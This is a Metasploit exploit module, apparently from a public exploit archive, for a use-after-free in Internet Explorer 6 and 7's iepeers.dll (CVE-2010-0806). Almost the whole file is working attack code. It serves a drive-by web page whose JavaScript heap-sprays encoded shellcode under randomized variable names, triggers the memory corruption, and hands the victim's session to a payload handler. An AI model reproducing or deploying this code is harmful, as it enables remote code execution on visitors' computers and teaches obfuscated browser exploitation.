Microsoft Internet Explorer iepeers.dll Use-After-Free Exploit (Metasploit)



##

# ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - Microsoft Internet Explorer 7, Windows Vista SP2
#  - Microsoft Internet Explorer 7, Windows XP SP3
#  - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Internet Explorer iepeers.dll use-after-free',
            'Description'    => %q{
                This module exploits a use-after-free vulnerability within iepeers.dll of 
                Microsoft Internet Explorer versions 6 and 7.
                
                NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 
                        'Trancer <mtrancer[at]gmail.com>'
                        ], 
            'Version'        => '$Revision:$',
            'References'     =>
                [
                    [ 'CVE', '2010-0806' ],
                    [ 'OSVDB', '62810' ],
                    [ 'BID', '38615' ],
                    [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
                    [ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00\x09\x0a\x0d'\\",    
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]    
                ],
            'DisclosureDate' => 'Mar 09 2010',
            'DefaultTarget'  => 0))
    end

    def on_request_uri(cli, request)
        
        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Set the return\nops
        ret        = Rex::Text.to_unescape([target.ret].pack('V'))

        # Randomize the javascript variable names
         j_shellcode     = rand_text_alpha(rand(100) + 1)
        j_nops         = rand_text_alpha(rand(100) + 1)
        j_slackspace = rand_text_alpha(rand(100) + 1)
        j_fillblock     = rand_text_alpha(rand(100) + 1)
        j_memory     = rand_text_alpha(rand(100) + 1)
        j_counter     = rand_text_alpha(rand(30) + 2)
        j_ret         = rand_text_alpha(rand(100) + 1)
        j_array         = rand_text_alpha(rand(100) + 1)
        j_function1     = rand_text_alpha(rand(100) + 1)
        j_function2     = rand_text_alpha(rand(100) + 1)
        j_object     = rand_text_alpha(rand(100) + 1)
        j_id         = rand_text_alpha(rand(100) + 1)

        # Build out the message
        html = %Q|<html><body>
<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
<script language='javascript'>
function #{j_function1}(){
    var #{j_shellcode} = unescape('#{shellcode}');
    #{j_memory} = new Array(); 
    var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2); 
    var #{j_nops} = unescape('#{ret}'); 
    while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; } 
    var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2); 
    delete #{j_nops}; 
    for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) { 
        #{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode}; 
    }
}
function #{j_function2}(){
    #{j_function1}();    
    var #{j_object} = document.createElement('body');
    #{j_object}.addBehavior('#default#userData');
    document.appendChild(#{j_object});
    try {
        for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) { 
            #{j_object}.setAttribute('s',window);
        }
    } catch(e){ }    
    window.status+='';
}

document.getElementById('#{j_id}').onclick();
</script></body></html>|

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the compressed response to the client
        send_response(cli, html, { 'Content-Type' => 'text/html' })
        
        # Handle the payload
        handler(cli)

    end

end